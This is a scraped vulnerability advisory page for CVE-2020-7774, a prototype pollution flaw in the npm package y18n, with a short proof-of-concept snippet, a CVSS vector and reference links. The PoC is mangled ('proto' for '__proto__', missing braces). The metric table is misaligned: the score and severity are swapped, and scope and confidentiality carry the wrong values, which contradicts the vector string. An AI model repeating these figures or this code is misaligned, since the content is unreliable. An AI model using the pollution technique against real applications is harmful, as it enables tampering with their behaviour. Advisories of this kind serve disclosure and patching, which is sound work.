CVE-2020-7774 Information

Description

This affects the package y18n before 3.2.2 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require(‘y18n’)(); y18n.setLocale(’proto’); y18n.updateLocale(polluted: true); console.log(polluted); // true

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Reference

https://github.com/yargs/y18n/issues/96 https://github.com/yargs/y18n/pull/108 https://snyk.io/vuln/SNYK-JS-Y18N-1021887 https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 https://www.oracle.com/security-alerts/cpuApr2021.html https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf

Attack Complexity

LOW

Privileges Required

NONE

User Interaction Required

NONE

Scope

NONE

Confidentiality Impact

UNCHANGED

Integrity Impact

HIGH

Availability Impact

HIGH

Base Score

HIGH

Base Severity

9.8

Share on: